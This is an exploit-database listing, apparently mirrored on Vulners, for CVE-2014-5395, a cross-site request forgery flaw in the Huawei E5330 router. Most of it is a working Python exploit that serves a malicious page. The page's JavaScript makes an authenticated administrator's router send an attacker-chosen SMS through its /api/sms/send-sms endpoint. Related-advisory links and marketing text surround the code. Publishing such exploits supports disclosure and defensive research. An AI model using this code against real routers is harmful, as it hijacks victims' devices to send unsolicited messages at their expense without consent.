Lucene search
+L

Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)

🗓️ 07 Jan 2019 00:00:00Reported by Nathu NandwaniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

Huawei E5330 Cross-Site Request Forgery (Send SMS) - Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS) Exploit
7 Jan 201900:00
zdt
checkpoint_advisories
Check Point Advisories
Huawei Router Authentication Bypass (CVE-2014-5395)
8 Jan 201900:00
checkpoint_advisories
cve
CVE
CVE-2014-5395
21 Nov 201415:00
cve
cvelist
Cvelist
CVE-2014-5395
21 Nov 201415:00
cvelist
euvd
EUVD
EUVD-2014-5283
7 Oct 202500:30
euvd
exploitpack
exploitpack
Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
7 Jan 201900:00
exploitpack
huawei
Huawei
Security Advisory-CSRF Vulnerability in Huawei HiLink Products
6 Aug 201400:00
huawei
nvd
NVD
CVE-2014-5395
21 Nov 201415:59
nvd
packetstorm
Packet Storm
Huawei E5330 21.210.09.00.158 Cross Site Request Forgery
7 Jan 201900:00
packetstorm
prion
Prion
Cross site request forgery (csrf)
21 Nov 201415:59
prion
Rows per page
# Exploit Title: Huawei E5330 Cross-Site Request Forgery (Send SMS)
# Date: 01/07/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: https://consumer.huawei.com/in/mobile-broadband/e5330/
# Version: 21.210.09.00.158
# Tested on: Windows 10 x64
# CVE: CVE-2014-5395
# Note: The administrator who opens the URL should be authenticated.
import socket
import time

server_ip = "0.0.0.0"
server_port = 80

huawei_ip = "192.168.8.1"
receiving_phone_no = "01234567890"
sms_text = "This is a SPAM text from Huawei E5330"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)

client, (client_host, client_port) = sock.accept()

print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')

client.send("""
<html>
    <body>
        <script>
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://""" + huawei_ip + """/api/sms/send-sms", true);
            xhr.send('<?xml version="1.0" encoding="UTF-8"?><request><Index>0</Index><Phones><Phone>""" + receiving_phone_no + """</Phone></Phones><Sca></Sca><Content>""" + sms_text  + """</Content><Length>""" + str(len(sms_text)) + """</Length><Reserved>1</Reserved><Date>""" + time.strftime('%Y-%m-%d %H:%M:%S') + """</Date></request>');
        </script>
    </body>
</html>
""")

client.close()
sock.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation